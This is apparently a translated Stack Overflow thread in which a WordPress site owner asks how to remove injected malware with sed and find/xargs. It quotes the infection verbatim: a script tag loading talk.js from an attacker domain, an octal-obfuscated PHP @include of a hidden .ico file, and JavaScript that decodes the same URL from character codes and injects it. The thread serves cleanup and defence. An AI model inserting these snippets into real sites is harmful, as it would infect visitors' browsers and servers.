如何使用sed或可能的grep替换整个字符串

Dil*_*pta 10 bash shell grep sed

因此,我的整个服务器都被黑客入侵或出现了恶意软件问题。我的网站基于WordPress,而服务器上托管的大多数网站都是基于WordPress的。黑客将这一行代码添加到每个文件和数据库中

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

我确实使用grep通过grep搜索

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Run Code Online (Sandbox Code Playgroud)

我正在尝试将其替换为整个文件结构,sed并编写了以下命令。

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Run Code Online (Sandbox Code Playgroud)

我想先替换单个文件上的字符串index.php,所以我知道它可以工作。

而且我知道我的代码是错误的。请帮我解决一下这个。

编辑:我尝试使用@Eran的代码,它删除了整行,这是很好的并且符合预期。但是,总的行话是这个

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/
Run Code Online (Sandbox Code Playgroud)

在删除所有内容的同时,我希望保留php开头标签<?php

尽管@slybloty的解决方案很简单并且有效。

以便从所有受影响的文件中完全删除代码。我正在运行以下3条命令,谢谢大家。

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -删除脚本行
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'-删除@include线
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' -删除注释行

另外,我再次为运行了所有3条命令'*.html',因为黑客的脚本在所有目录中创建了不需要的index.html。我不确定是否批量删除这些index.html是正确的方法。

现在,我仍然需要找出垃圾文件及其痕迹。

编辑2:

黑客脚本也添加了JS代码。

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Run Code Online (Sandbox Code Playgroud)

尝试看看我是否也可以sed

sly*_*oty 2

对字符串使用双引号 ( "),并且不要转义单引号 ( ') 或标签 ( <>)。仅转义斜杠 ( /)。

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
Run Code Online (Sandbox Code Playgroud)